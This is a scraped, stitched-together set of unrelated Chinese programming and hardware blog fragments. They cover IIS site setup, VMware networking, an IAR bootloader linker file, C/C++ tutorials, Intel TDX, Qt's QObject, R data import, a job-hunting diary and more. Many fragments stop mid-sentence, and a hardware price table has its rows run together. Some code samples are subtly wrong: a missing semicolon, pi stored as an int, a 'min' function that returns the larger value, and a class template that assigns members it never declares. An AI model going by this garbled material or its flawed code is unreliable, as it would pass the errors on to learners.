现在我们就可以访问到我们创建的网站啦,但是这是本机上访问的哦:
现在我们来完成第三个任务,在客户端访问Web网站
我们在自己的电脑上打开一个浏览器,输入刚刚那个IP地址,来看看能不能访问,当然我是肯定能够访问的,因为我的电脑能够ping通服务器这个IP地址哦,不信你看:
如果你不能访问,你先看看你的电脑能不能ping通你的服务器,如果ping不通就是IP地址的问题,把虚拟机设置为桥接或者NAT模式就好了。如果ping通了访问不了就是你设置的问题啦(防火墙这些的问题)
第三个任务是不是很简单,其实也就是测试一下能不能访问而已,如果你完成了这三个任务,那么你就已经能够搭建一个很简单的网站啦(如果觉得帮助到你了可以在评论区留个言吗,让我知道有人在我的帮助下,学会了新的技能)
现在我们进行第四个任务,因为我们网页的默认端口是80,所以我们现在来把网站的端口改一下,改成160端口试试吧!!!
我们还是更改xiaoxing这个网站吧,双击它,然后点击右上角的绑定:
选中唯一的那个,再点击编辑,或者直接双击也可以,如下图所示:
把端口改为160,然后点击确定就好啦:
这样我们端口就改好了,返回直接浏览还是能够看到我们的网页:
但是我现在刷新我电脑上的网页,居然不是我刚刚创建的网页啦:
这是为什么呢?
现在这个显示的网页,是我们添加Web服务器时默认的网页啦,刚刚不是说了吗,网页的默认端口是80,所以访问不了我们160端口的网页啦,我们只需要在这个IP地址后面加上我们的端口就好了:
这就是如何去配置不是80端口的Web网站的全过程了,是不是也特别简单!!!
然后我们还可以去控制我们客户端的访问权限,可以去设置访问Web网站进行身份验证,这个有兴趣就自己去研究研究吧,写文章真的太费时间啦,所以我这里就不说了哟。
还是那句话,你的关注,点赞和浏览就是我写文章的最大动力哟!!!
型号CPU尺寸速度内存参考价格香橙派Pi ONE Plus全志H66.8*4.81.8G*41G376香橙派Pi Zero2全志6166*5.31.5G*41G149香橙派Pi PC2全志H58.5*5.61.2G*41G368香橙派Pi PC Plus全志H38.5*5.61.3G*41G248香橙派Pi R1 Plus LTSRK33285.7*5.61.5G*41G169香橙派Pi4 LTSRK33999.1*5.61.8G*64G459树莓派4BBCM2711B08.5*5.61.5G*41-8G698-1228ROCK5BRK358810*7.22.5G*8核4-16G925-1843Fireplay RK3588SRK3588S9*62.4G*8核4-16G1299-2499
FriendlyARM NanoPi NEO Plus2全志H55.2*41.2G*4核1G284.9
FriendlyARM NanoPi R2SRK33286.1*61.3G*4核1G248
FriendlyARM NanoPi R4SRK33997.2*7.22G*6核4G499K510 CRBK5106*3.8800M*2512M499地平线horizon旭日X3派旭日38.5*5.61.2G*42-4G499-549PHICOMM N1晶晨S905D11*111.5G*42G130BananaPi BPi R3MT798614.8*102G*42G645BananaPi BPi R2 ProRK356814.8*102G*42G615BananaPi BPi R2MT762314.8*101.3G*42G624BananaPi BPi R64MT762214.8*101.35G*21G506 典型软件支持
型号OpenWRTArmbianAndroidDebianUbuntu香橙派Pi ONE Plus22.03.222.08.27.0VVBananaPi BPi R3SNAPSHOTXVVBananaPi BPi R222.03.2X5.1VVBananaPi BPi R6422.03.2X5.1VV 几种接口
1)Mini PCI-E为52Pin插槽,可用于扩展外围设备,如蓝牙模块、4G模块、无线网卡模块,以及Mini PCI-E接口的固态硬盘等。不过该接口带宽不高,比较适合一些对数据传输要求不太高的场合。常用有两种规格,30×51×6.35mm的全高尺寸,30×27×6.35mm的半高尺寸。 2)mSATA (mini-SATA)是迷你版本SATA接口,外型和针脚排布与Mini PCI-E完全相同,但引脚信号定义不同,两者互不兼容,使用时务必不要混淆。mSATA接口安装的都是全高卡,传输速度要比Mini PCI-E接口高很多。
3)M.2接口是为超极本(Ultrabook)量身定做的新一代接口标准,以取代原来的mSATA接口。无论是更小巧的规格尺寸,还是更高的传输性能,M.2都远胜于mSATA。M.2接口有两种类型:Socket 2(B key——ngff)和Socket 3(M key——nvme),其中Socket2支持SATA(ngff)、PCI-E×2接口,最大的读取速度可以达到700MB/s,写入也能达到550MB/s,常见尺寸为2242(半高)和2280(全高)两种。而Socket 3可支持PCI-E×4接口,理论带宽可达4GB/s。
4)U.2接口别称SFF-8639,优点在于体积小巧、性能出色,更适合用于台式电脑、笔记本、超级本等便携设备中,未来潜力较大。由于其目的是为存储提供到SSD的PCI-E连接,并且能兼容SATA,所以目前以2.5寸居多。
5)MIPI,即移动产业处理器接口(Mobile Industry Processor Interface),是差分串口传输,速度快,抗干扰。传输时使用4对差分信号传输图像数据和一对差分时钟信号。MIPI的Display接口叫DSI,MIPI的Camera接口叫 CSI。由于为低压差分信号,产生的干扰小,抗干扰能力较强,500万及以上像素较多倾向于用MIPI接口。
6)DVP(Digital Video Port),是传统的Sensor输出接口,采用并行输出方式,数据位宽可以是8bit、10bit、12bit、16bit,是CMOS电平信号(非差分信号),PCLK最大速率为96MHz,最高到500万像素。
7)LVDS是一种低压差分信号技术接口,利用非常低的电压摆浮(约350mV)在两条PCB走线或一对平衡电缆上通过差分进行数据的传输,即低压差分信号输出。该接口可以实现多路多位传输,引脚数量不固定。
8)HDMI(High Definition Multimedia Interface)是一种全数字化视频和声音发送接口,可以发送未压缩的音频及视频信号。HDMI 1.
VMware三种网络模式 linux重启网络服务命令: service network restart 一、桥接模式 原理:VMware和宿主机,处于同一网段、两者地位平等。(无需虚拟网卡)
1.1、使用方法 虚拟网络编辑器 虚拟机设置-适配器 上面两步完成后,reboot重启。
测试网络是否畅通:ping baidu.com
二、nat模式 原理:新增net8虚拟网卡,采用DHCP进行动态分配ip、gateway、dnsnat模式下,VMware和宿主机不处于同一网段。
2.1、使用方法 虚拟网络编辑器 nat设置 虚拟机设置 windows网络适配器 完成后,reboot重启VMware。 测试网络是否畅通:ping baidu.com
三、仅主机模式 注:仅主机模式无法连接外网!!仅主机模式无法连接外网!!仅主机模式无法连接外网!!
原理:和nat原理差不多,但仅主机网络模式、通常用于隔离外网。(VMware和宿主机不在同一网段)
3.1、使用方法 虚拟网络编辑器 虚拟机设置 四、nat、桥接模式=无法联网 4.1、查看Windows网络适配器,是否启用该网卡 4.2、查看虚拟机设置的网络模式 4.3、是否处在同一网段 分几种情况 ①Windows适配器分配的网段、和虚拟网络编辑器网段不一致
②Windows适配器分配的网段、和虚拟网络编辑器网段一致,但虚拟机里面,自己设置了静态ip、导致虚拟机的ip不在分配的网段中,因此也无法上网。
注:联网前提是,Windows适配器分配的网段,和虚拟网络编辑器网段一致、并且,虚拟机里面的ip处在相同网段才可以联网。(通常来说,虚拟机内部ip都是dhcp自动分配、不会有问题,但不排除自己手动设置静态ip)
目录
1、开发环境
2、特性
3、IAR编译器的相关文件
3.1、icf文件
3.2、IcfEditorFile文件内容
3.3、ddf文件
3.4、board文件
4、IAP相关
4.1、软件复位
4.2、bootloader程序跳转到App程序
4.3、LPC2478的bootloader程序操作注意事项
4.4、LPC2478的App程序操作注意事项
5、收获
这次主要对STM32F103/Keil和LPC2478/IAR加了一个IAP在线升级功能,但是选择记录LPC2478/IAR,首先是因为自己对于IAR编译器没有Keil的熟悉,所以印象更加深刻,其次就是STM32F103/Keil下的IAP升级的资料实在是太多了,没有什么异常的情况,而IAR相对而言资料较少自己是根据STM32/Keil的思路一步步走下来的。
主要记录一下自己的思路,bootloader和App代码都不写了。
1、开发环境 LPC-2478STK+IAR+JINK
2、特性 单片机只有一个程序时,可以直接从起始地址开始运行;但当系统中有两个程序时,例如带bootloader的系统,则应用程序的运行需要通过bootloader跳转,和bootloader相比,应用程序(App)的地址和中断向量表地址都发生改变,如何告诉编译器来分配bootloader和应用程序在flash中的地址以及如何告诉CPU中断表向表的位置。
3、IAR编译器的相关文件 在编译器的选项中看到有后缀为icf文件、后缀为ddf文件、后缀为board文件、后缀为flash文件,但是这些文件中,跟IAP功能相关的只有icf文件,其他的文件在此篇中都不重要。
程序的项目文件在此篇中也不重要
3.1、icf文件 文件配置目录是:Options->Linker->Config->Linker configuration file
需要换成自定义的icf文件需要勾选Override default
/*###ICF### Section handled by ICF editor, don't touch! ****/ /*-使用过应用层的会发现,这个a_v1_0.xml就是点击配置文件Edit出现的界面配置,我们不需要动它,它也无关紧要-*/ /* IcfEditorFile="$TOOLKIT_DIR$\config\ide\IcfEditor\a_v1_0.xml" */ /*-中断向量表的起始地址,主要设置参数-*/ define symbol __ICFEDIT_intvec_start__ = 0x00000000; /*-Memory Regions-*/ /*-程序ROM的起始地址,主要设置参数-*/ define symbol __ICFEDIT_region_ROM_start__ = 0x00000000; define symbol __ICFEDIT_region_ROM_end__ = 0x0004FFFF; /*-程序RAM的起始地址,主要设置参数-*/ define symbol __ICFEDIT_region_RAM_start__ = 0x40000000; define symbol __ICFEDIT_region_RAM_end__ = 0x4000FFDF; /*-Sizes-*/ /*-程序的堆栈大小,一般无需改动 -*/ define symbol __ICFEDIT_size_cstack__ = 0x400; define symbol __ICFEDIT_size_svcstack__ = 0x100; define symbol __ICFEDIT_size_irqstack__ = 0x100; define symbol __ICFEDIT_size_fiqstack__ = 0x40; define symbol __ICFEDIT_size_undstack__ = 0x10; define symbol __ICFEDIT_size_abtstack__ = 0x10; define symbol __ICFEDIT_size_heap__ = 0x2000; /**** End of ICF editor section.
以此:PYTORCH 官方教程中文版 (1.9+CU10.2)中的代码(本文简称官方教程) 为例 开发环境:淘宝搜深度学习 pytorch环境配置20元搞定 (淘宝不愧最强外挂) 我们将使用CIFAR10数据集。它有以下类别: " 飞机 "、"汽车" 、 " 鸟 " 、 " 猫 " 、 " 鹿 " 、 " 狗 " 、 " 蛙 " 、 " 马 " 、 " 船 " 、 " 卡车 " 。 CIFAR-10 中的图像大小为 3x32x32 ,即尺寸为32x32 像素的 3 通道彩色图像。 一 首先下载数据集到 自己定义 的文件路径下(建议 全英文路径) 例如:E:\BaiduNetdiskDownload // 直接用百度网盘的文件下载路径会方便很多 二.复制粘贴官方代码到自己的Vscode中的新建文件中(来自官方教程P44) import torch import torchvision import torchvision.transforms as transforms transform = transforms.
文章目录 命名空间 1.命名空间定义2.命名空间的使用3.`using namespace std;`的作用4.为什么要少用`using namespace`5. 如何用命名空间避免命名冲突? 命名空间 学习c++的时候,看到很多程序中用了以下语句:using namespace std;这表明使用了命名空间std,那么什么是命名空间?为什么要用命名空间?本文将详细介绍命名空间的意义和用法。
首先大型应用程序经常使用来自不同厂商的开发库,几乎不可避免会使用相同的名字,也就是说一个库中定义的名字可能与其他库中的名字相同而产生冲突。假如不同的程序员分别定义了类和变量,放在了不同的头文件中,在主函数的文件中需要使用这些类时,就用#include指令将这些头文件包含进来。由于头文件是由不同的人设计的,不同头文件中可能用了相同的名字来命名所定义的类或函数。在预编译后,头文件中的内容取代了对应的#include指令,这样就在同一个程序文件中出现了多个名字相同的类或变量,显然是重复定义,这就是名字冲突,即在同一个作用域中有两个或者多个同名的实体。在使得程序员不能组合各自独立的开发库到一个程序中。
对此ANSI C++引入的可以由用户命名的作用域,用来处理程序中常见的同名冲突。命名空间是用来限定名字的解析和使用范围,它是C++开发大型程序的工具之一。命名空间的原理是将全局作用域划分为一个一个的命名空间,每个命名空间是一个独立的作用域,在不同命名空间内部定义的名字彼此之间互不影响,从而有效的避免了命名污染。
1.命名空间定义 在C语言中只有一个全局作用域:
所有的全局标识符共享一个作用域这使得标识符之间可能发生冲突。 C++中提出了命名空间的概念:
命名空间将全局作用域分成不同的部分不同命名空间中的标识符可以同名而不会发生冲突命名空间可以发生嵌套全局作用域也叫默认命名空间 命名空间的定义形式:namespace 命名空间名 { …… } ;
使用命名空间形式:using namespace 命名空间;或者命名空间::成员名
命名空间可以在全局作用域或其他命名空间内部定义,但不能在函数、结构体或类内部定义,且要保证命名空间之间不会出现名字冲突。
在命名空间作用域内,可以包含: 变量、对象以及它们的初始化、枚举常量、函数声明以及函数定义、类、结构体声明与实现、模板、其他命名空间
namespace A { //定义命名空间 A const int PI=3.1415926; //const常量 enum tagDAYS{MON,TUE,WED,THU,FRI,SAT,SUN}; //枚举常量 int i,j,k=10; //变量及变量的初始化 string str,str2("hello"); //对象及对象的初始化 int max(int x,int y); //函数声明 int min(int x,int y){return x>y?x:y;} //函数定义 template<typename T> //函数模板 int compare(const T&v1,const T&v2){return v1==v2;} template<class T> class TComplex { //类模板 public: TComplex(){} void setdata(T a,T b){x=a;y=b;} private: T r,i; }; namespace B{ //嵌套的命名空间 int i,j,k; } } 2.
Intel Trust Domain Extensions(TDX)介绍 TDX Intel Trust Domain Extensions (Intel TDX) 其实是一套软硬件结合的解决方案,包含很多组件:
VMX指令集扩展MKTME技术CPU attestation模型软件集合: TXD module / Intel authenticated code module / Intel quoting enclave Intel Trust Domain Extensions (Intel TDX) 提供的功能有:
CPU状态加密和完整性保护内存加密和完整性保护地址翻译完整性保护安全的中断和异常投递RA(remote attestation) 通过Intel TDX提供的功能,可以构造出区别于传统VM的TD(Trusted Domain)
TD运行在SEAM的non-root模式下,TDX module运行在SEAM的root模式下,通过调用SEAM call可以让CPU进入SEAM root模式,并且加载TDX module
TDX module TDX module是一个Intel提供的,使用动态签名机制的,CPU attestation的安全加固模型,TDX module有以下功能:
向VMM提供接口,用来创建/销毁/执行TD,解决特权级应用的问题CPU/内存保护attestationTD密钥的申请和管理减少攻击面 TDX 通过对VMM访问TD的限制或者监控,来保证TD运行过程中的安全,主要包括两个方面的操作
TDX module能够保证在运行过程中,拦截不受信的软件(比如VMM)对TD资源的访问,比如CPU控制寄存器,MSR寄存器,调试寄存器,性能监控寄存器,时间戳寄存器等TD创建的时候可以选择是否授权TD使用调试和性能监控功能,如果允许的话方可使用,同时,TD attestation report时,也会将这些行为进行report SEAM Secure Arbitration Mode (SEAM) is an extension to the Virtual Machines Extension (VMX) architecture to define a new, VMX root operation called SEAM VMX root and a new VMX non-root operation called SEAM VMX non-root.
目录
1. 顺序表的缺陷
2. 链表
2.1 链表的概念
2.2.链表的结构
2.3 链表的分类
3. 无头单向非循环链表
3.1 链表的结构体定义
3.2 动态创建一个链表新结点
3.3 打印链表
3.4 尾插和尾删
3.5 头插和头删
3.6 找到x值的地址
3.7 在pos前面/后面插入一个数
3.8 删除某个位置/删除某个位置的后一个位置
3.9 销毁链表
1. 顺序表的缺陷 1. 中间/头部的插入删除,时间复杂度为O(N)
2. 增容需要申请新空间,拷贝数据,释放旧空间。会有不小的消耗。
3. 增容一般是呈2倍的增长,势必会有一定的空间浪费。
2. 链表 2.1 链表的概念 概念:链表是一种物理存储结构上非连续、非顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针链接次序实现的
2.2. 链表的结构 链表结构是有一个Data存储值/数据,有一个结构体指针存放下一个结点的地址
2.3 链表的分类 1.单向链表或双向链表
2.带头(哨兵位)链表或不带头(哨兵位)链表
3.循环链表或不循环链表
每种类型都有两种不同的结构,所以一共能出8种(2*2*2)不同的结构
虽然链表的种类众多,但是我们主要用两种链表
无头单向非循环链表和带头双向循环链表
1. 无头单向非循环链表:结构简单,一般不会单独用来存数据。实际中更多是作为其他数据结构的子结构
2. 带头双向循环链表:结构最复杂,一般用在单独存储数据。实际中使用的链表数据结构,都是带头双向循环链表。这个结构虽然结构复杂,但是使用代码实现以后会发现结构会带来很多优势
3. 无头单向非循环链表 注:为什么有的函数传递二级指针
因为当链表的头结点需要被改变时,需要传递头结点的地址,以此才能改变头结点 3.1 链表的结构体定义 typedef int DataType; typedef struct Slist { DataType data; struct Slist* next; }SL; 3.
目录
一、运用值传递方式
1、函数的值传递方式举例 二、运用地址传递方式
1、函数的地址传递方式举例
对带有参数的函数进行调用时,存在着如何将实参传递给行参的问题。根据实参传递给行参值的不同,通常有值传递方式和地址传递方式两种。
一、运用值传递方式 所谓值传递方式是:函数调用时,为行参分配内存单元,并将实参的值复制到行参中;调用结束,行参所占内存单元被释放,实参的内存单元仍保留原值。
其特点是:行参和实参占用不同的内存单元,函数中对行参值的改变不会影响实参的值。这就是函数参数的值单向传递规则。
形参:形参是功能函数里的变量,只有被调用的时候才分配内存单元,调用结束后立即释放内存,只在函数内部有效。
实参:也就是实际要拷贝给形参的参数,可以是常量,变量,等,但不管是什么类型,必须具有确定的值,注意并保证实参的个数,类型应与形参一一对应。
1、函数的值传递方式举例 #include<stdio.h> void swap(int a,int b); //函数原型声明 int main() { int x=7,y=11; printf("before swapped:"); printf("x=%d,y=%d\n",x,y); swap(x,y) //函数调用(x、y为实参,值传递方式) printf("after wapped:"); printf("x=%d,y=%d\n",x,y); return 0; } void swap(int a,int b) //函数定义(a,b为行参) { int temp; temp=a; a=b; b=temp; } 运行结果:
before swapped:x=7,y=11 after wapped:x=7,y=11 程序解释:
该程序首先在main函数中定义了两个整型变量x和y,其初始值分别为7和11,然后调用swap自定义函数试图交换x,y的值,可结果是,调用函数swap以后,x和y的值并没有交换,x仍然是7,y仍然是11。为什么会出现这种情况呢?这是因为实参x和y对应的内存单元与形参a和b所对应的内存单元是各不相同的,在函数调用时,只是将x的值7传递给形参a,y的值11传递给形参b,在swap函数体内只是将a和b的值交换了,即a的值变为11,b的值变为7,当函数返回时,a和b的内存单元就释放了,变量x和y所对应的内存单元并没有任何的改变。
二、运用地址传递方式 所谓地址传递方式是:函数调用时,将实参数据的存储地址作为参数传递给形参。
其特点是:形参与实参占用同样的内存单元,函数中对形参值的改变也会改变实参的值。因此函数参数的地址传递方式可实现调用函数与被调函数之间的双向数据传递。注意,实参和形参必须是地址常量或地址变量。比较典型的地址传递方式就是用数组名作为函数的参数,在用数组名作函数参数时,不是进行值的传送,即不是把实参数组的每一个元素的值都赋予形参数组的各个元素。因为实际上形参数组并不存在,编译系统不为形参数组分配内存。那么,数据的传送是如何实现的呢?数组名就是数组的首地址。因此在数组名作函数参数时所进行的传送只是地址的传送,也就是说,把实参数组的首地址赋予形参数组名。形参数组名取得该首地址之后,也就等于有了实在的数组。实际上是形参数组和实参数组为同一数组,共同拥有同一段内存空间。
1、函数的地址传递方式举例 #include<stdio.h> void mergestr(char s1[], char s2[], char s3[]); //函数原型声明 int main() { char str1[]={"
try{代码}catch{代码}
含义是:执行try里面的代码,如果出错了,及执行catch里的代码;用这个结构的作用是:当try里的代码出错了,代码不会停止执行卡在那里不动,而是出错了就去执行catch里的代码,catch里的代码一般会写错误提醒信息,这样可以保证,上面代码出错了,不会妨碍代码的执行,代码还会继续执行。
代码格式规范 遵循代码格式规范是开发中常见约定的规则,规范化的代码格式将会便于开发和维护工作。
推荐在Android Studio配置 Edit -> Macros -> Start Macros Recording. 开启录制后,右下角可以看到录制提示
Code -> Reformat Code (格式代码)
Optimize Imports (移除无用的导包)
Edit -> Macros -> Stop Macros Recording (停止录制)
填写操作名字,比如:my_code_format
File -> Setting -> Keymap ->搜索 “my_code_format” -> 单击右键添加快捷键 Add Keyboard Shortcut
最后输入你想要的快捷键,保存即可。
使用 当你想格式化某个文件时,直接 按一下快捷键即可。
QObject这个 class 是 QT 对象模型的核心,关于对象模型可以阅读C++对象模型详解,绝大部分的 QT 类都是从这个类继承而来。这个模型的中心特征就是一个叫做信号和槽(signal and slot)的机制来实现对象间的通讯,你可以把一个信号和另一个槽通过 connect(…) 方法连接起来,并可以使用disconnect(…) 方法来断开这种连接,你还可以通过调用blockSignal(…) 这个方法来临时的阻塞信号。
QObject 的对象树机制:
当你创建一个 QObject 并使用其它对象作为父对象时,这个对象会自动添加到父对象的children() list 中。父对象拥有这个对象,比如,它将在它的析构函数中自动删除它所有的 child 对象。你可以通过 findChild() 或者 findChildren() 函数来查找一个对象。每个对象都有一个对象名称(objectName())和类名称(class name), 他们都可以通过相应的 metaObject 对象来获得。你还可以通过 inherits() 方法来判断一个对象的类是不是从另一个类继承而来。当对象被删除时,它发出destroyed()信号。你可以捕获这个信号来避免对QObject的无效引用。QObject可以通过event()接收事件并且过滤其它对象的事件。详细情况请参考installEventFilter()和eventFilter()。对于每一个实现了信号、槽和属性的对象来说,Q_OBJECT 宏都是必须要加上的。
QObject 类的实现文件一共有四个:
* qobject.h,QObject class 的基本定义,也是我们一般定义一个类的头文件。
* qobject.cpp,QObject class 的实现代码基本上都在这个文件。
* qobjectdefs.h,这个文件中最重要的东西就是定义了 QMetaObject class,这个class是为了实现 signal、slot、properties的核心部分。
* qobject_p.h,这个文件中的 code 是辅助实现QObject class的,这里面最重要的东西是定义了一个 QObjectPrivate 类来存储 QOjbect 对象的成员数据。
理解这个 QObjectPrivate class 又是我们理解 QT kernel source code 的基础,这个对象包含了每一个 QT 对象中的数据成员,好了,让我们首先从理解 QObject 的数据存储代码开始我么的 QT Kernel Source Code 之旅。
本文首发于:医学和生信笔记,完美观看体验请至公众号查看本文。
文章目录 把数据读入R语言Excelcsvtxt其他 写出文件(从R语言另存为其他格式) 本文面向R语言初学者,尤其是生物医药领域的初学者,大佬勿喷~
在之前的推文中,我们用两个视频详细介绍了R语言、rtools、Rstudio以及R包的安装,解决新手最先碰到的两大难题!
接下来大家就面临把数据读入R语言、把数据另存为其他格式的问题!
大家在日常生活中遇到的最多的数据应该还是Excel数据,但是对于R语言来说,我们必须要把外部数据读入到R里面,才能进行各种操作。对于我们最后的数据,可能还需要再保存为excel格式。
这两个问题对于会的人来说非常简单,可以有多种方法可以实现,但是对于新手来说却经常遇到报错。今天从一个新手的角度说一说R语言的数据读入和另存问题。
把数据读入R语言 Excel 这个格式太常见了,大家日常生活用的大部分都是这种格式。比如有这么一个excel文件:data.xlsx,它里面的内容是这样的:
现在我们需要把它读入R里面。我推荐你使用readxl包读取Excel文件。首先我们要安装这个R包,如果你还不会R包安装常见的4种方式,赶紧去看这个视频:xxxxxxxxxxxxx。
install.packages("readxl") 安装好之后,我们需要加载这个R包才能使用:
library(readxl) 然后我们就可以读入这个文件了,读取时,你必须指明你的文件在哪里! 如果文件路径没写对,就会出现下面这种类似的报错,一般情况下,它会告诉你,你的路径没写对,或者找不到这个文件,这个文件不存在,不能打开连接等等错误!!
tmp <- read_xlsx("E:/data.xlsx", col_names = T) ## Error: `path` does not exist: ‘E:/R/data.xlsx’ 这个时候你就要去确认下,你的这个data.xlsx文件到底在哪里!当你给它正确的路径时,它就不会报错。还要注意/ \ , " ",这些标点一定要在英文状态下输入!
tmp <- read_xlsx("E:/R/data.xlsx", col_names = T) tmp ## # A tibble: 29 × 6 ## 编号 治疗方式 性别 年龄 收缩压 血糖 ## <dbl> <chr> <chr> <dbl> <dbl> <dbl> ## 1 1 方法1 男 56 134 6.
大家好,我是路飞~
正值秋招收尾阶段,今天很荣幸请来了交流qun小分队里的一位23届本科上岸 金山云开发工程师-云计算方向的同学,给大家分享一下他在秋招过程中的总结和心得体会。
他的博客链接:团子的守护
一、秋招收获 2022.10.21 当我开始写这篇文章时,说明我的秋招终于也要画上句号了,最后是继续留在金山云,很荣幸在10月21号的日下午三点收到了金山云暑期实习的留用意向书。
2022.11.14 收到了今年秋招的第二个offer,同城旅行的意向:
二、实习经历 1、自我介绍 我是一名二本学院,计算机专业的普通学生,学习方向是以Python开发为主。因为在大三上快结束的时候进了飞佬的qun(程序员小分队),我和我们班的一些人开始了解到了秋招和实习的重要性,也在当时知道什么是面试必备的八股文,于是开始忙忙碌碌的准备大三下的暑期实习招聘。
ps: 在学习过程中也有写csdn博客:https://blog.csdn.net/m0_51734025?type=blog,后来因为准备秋招没有写了,后续也会继续更新文章,总结学到的技术
2、实习投递 因为当时对自己很没自信,拖到了四月才做了第一份简历开始准备投递,在四月结尾时面了四家公司(谷露软件、金山云、悦动天下科技、深信服),最后拿了三家offer,选择去一个新的领域实习–金山云的openstack研发岗位,是关于云计算的。附上牛客的面经四月面试总结
五月的时候也收到了京东和腾讯云智、腾讯的面试邀请,但是因为当时忘记写面经了,大致写下面试情况:
京东是测开岗位,一面的时候问了测试相关的东西,但是出于自己疏忽准备然后一面后没有消息了。腾讯云智(不愧是腾讯子公司,面试还是感觉和之前的面试难度不一样,有深度和广度)一面过后约了二面,然后二面由于问了很多场景题不太会然后挂了腾讯是当时官方电话打过来约面试的,但是当天把我鸽了。 3、实习经历 6月27号正式踏入了北京,开始了北漂(和对象一起,还是很幸运有个愿意陪你去闯荡的人,因为她的陪伴,给了我很大的勇气),租了一个离公司2点多公里的公寓房。
公司的作息时间是早上10点到晚上7点,因为云计算这个领域是一个学习门槛比较高的领域,要花很多时间去研究才能弄懂,但是想着秋招也快开始了,所以也要开始准备秋招,下面是备战秋招期间的作息时间段:
每天早上5:40:起床开始背八股和看一些牛客的面经帖子,主要看的小林coding的讲解,因为基础比较差,而小林coding讲的比较深动和详细(后面看的差不多后开始看一些扩展和有深度的学习资料)7:30开始吃早餐, 8:30骑车去公司早上9:00左右:到公司然后刷leetcode(因为算法比较薄弱,所以只能多刷)早上10:00:开始正式上班学习openstack和一些linux的指令晚上19:30,就下班回去了(组内不卷hahaha),然后晚上再看看八股的一些东西或者看看自己的项目。晚上20:00到家,简单洗漱过后,继续修改简历,背八股,刷算法题。晚上大概23:30左右休息。 因为openstack研发这个岗位基本很少写代码,与后端开发领域有很大区别,但是对代码能力要求比较高,要能很熟悉的看懂代码,平时做的事情可能有点偏向运维了,所以当时跟我leader提出了想要离职的想法,然后leader和我谈心,说内心还是蛮希望我能留下来的,带我的芳姐也蛮看好我(因为平时比较喜欢问问题,然后去思考),跟我介绍了这个岗位和后端开发领域的侧重点,说帮我争取留下来的hc,如果有名额肯定给我,但是还是尊重我最后的决定。现在回想起来很感谢我leader龙哥,真的很为我们实习生考虑,在我们组像一个老父亲一样,对外很护犊子,也很担心我们实习生有没有压力,也是龙哥的希望我留下,我最后决定留下来了,也才有了后面在我正要对秋招绝望时,给了我唯一的温暖(虽然要转组去控制台开发,但是还是会经常和龙哥和组内的同事保持联系)。
三、秋招历程 1、八月历程 八月我正式开始投递秋招,在八月结束时:
面了指南针python开发岗位,一面通过了,但是要求线下二面和三面,要求提前实习,看表现转正于是就决定拒了后面的面试;面了九州云的python开发岗位(也是一家做云计算的公司),一面过了,也要求提起实习,要尽快到岗,所以也拒了后面的面试;面了绿盟的测开岗位,最后因为岗位不匹配挂了(问题都回答了,但是不会测试),后面想想还是很后悔,应该投python研发岗的,但是当时觉得投测开可能不太看学历,后来才明白今年不只看学历,也看岗位的匹配度(于是后面开始也去简单学习测试的八股);面了偌瓦星云软件开发岗位,一面过后发了测评,但是因为当时求快,性格测评那首尾不一致也挂了(真的很后悔自己的粗心);百度面的测开(偏开发多一点,因为主要也是对云产品进行测试,刚好我的实习经历也是跟云计算有关的,所以给了面试机会),最后到了三面,三面过后发了测评,但是最后因为学历被排序挂了 附:牛客八月秋招面经
感悟
这时候更加深刻的意识到了今年的秋招难度远不是面试难不难的问题,而是很多公司也开始卡学历了,中大公司最后排序时,也基本没有我们双非(还是二本学历)学校的机会,除非实习转正,但今年很多公司的转正情况也不太乐观,所以对金山云这边能不能转正也开始害怕,决定先不要抱太大希望。
2、九月历程 到了九月,公司的测评和笔试做了很多很多,但是约面的很少很少,但是也没有放弃,一直在备战。后来九月中旬的时候因为学校大四上还有课程,申请接着实习被拒绝了,只能从公司请假回学校,完成考试后再继续实习,那时候也开始收到两个小众公司的面试,RealAI和噢易云,都是Python开发的岗位,都过了两轮技术面,到了最后要hr面的时候被挂掉了,那时候真的感觉到了失望、自我怀疑,看着秋招的时间已经走了一大半却一无所获,焦虑已经开始充斥了整个心,也开始有点看不进去面试题,题目也开始不怎么刷了,真的感觉,好冷啊这个秋招…看着牛客的帖子,也知道秋招的寒冷不是只对我…面试最多的时候都在八月,我却出现了各种失误,每天开始不知所措…但是还是没有放弃投递公司,后来才发现有很多小众公司还没有投递,于是继续投递,大中厂已经开始不报指望了,当时美团的实习生很早就开始了转正答辩,一大半的人都转正了,内心也有点羡慕,于是问金山云这边的校招组hr说十月中差不多就有结果了,私下也创建了一个金山云实习生交流的微信群,在里面互相分享信息,都希望能继续留下了,也很舍不得。和班上准备秋招的同学也建立了一个小组群,开始讨论秋招的去路,也做好了最坏的打算,去一个能转正的小公司实习。也开始想着去参加一些线下的面试,至少想抓住任何一个机会。每天几乎都是在不甘心和现实的情况边缘打转,但是一想到我的誓言,即将毕业进入社会,还有一个人在等着我,我开始意识到吗,这是一个持久战,要是心先死了,不再挣扎了,就真的没希望了。也收到了很多人的鼓励。
十月历程 后来到了十月,情况开始慢慢有了点好转,我同学也开始陆续收到了一些小众公司的面试,我也终于盼到了金山云的转正结果,那个国庆节,是我过的最漫长的国庆节。时不时在金山云的实习生微信群里发消息,时不时看看公司的群,开始期待,也开始做好了最坏的失望。开始明白,我们改变不了这个寒冬的实情,唯有做的就是不停的思考,不停的去挣扎。我也和一些面试官交流过今年的行情,都说不容易。寒冬的原因不只是因为疫情,还有很多公司也无能为力的情况,但是坚持下来,至少不会挨饿。我也认识到我们之所以焦虑,是因为我们把我们自己的定位局限在了今年的秋招,但是今年的情况是事实,如果我们把目光放长,把自己的定位放在未来五年。学到的东西始终会伴随你一生。
四、总结 所有的等待与坚持和挣扎有了不错的结果,最终在金山云转正了,但是可惜的是要转去其它组了…也开始往java开发新的道路前进!我明白这个结果是很大的一部分运气的原因,我也不知道要是失败,接下来的自己会去做什么,但是明白的一点是,如果有机会来临了,就努力去珍惜,机会还没来临时,继续备战,继续挣扎!在十月末尾时也收到了同城旅行的面试,软件测试岗位,一轮技术面,一轮复试,最后也拿到了offer。
最后:
祝大家秋招加油呀!24届的学弟学妹们要提前开始准备啦,为了自己的未来拼一把!
哦对了,别忘了给飞哥点赞三连鸭~
每一次启动tomcat会实例化一次,然后响应两次,这是什么情况,有咩有大神知道的。(换了tomcat版本也还是这个问题,到底是哪出问题了。。。)
写这篇博客主要是因为在修改DataFrame列值的时候经常遇到bug,但到目前还没把这种错误复现出来。
DataFrame是Pandas中的主要数据结构之一,本篇博客主要介绍如何DataFrame中某一列的值进行修改。
1 常规方法 这部分主要介绍修改DataFrame列值的常规方法。为了方便后续说明先构建如下数据:
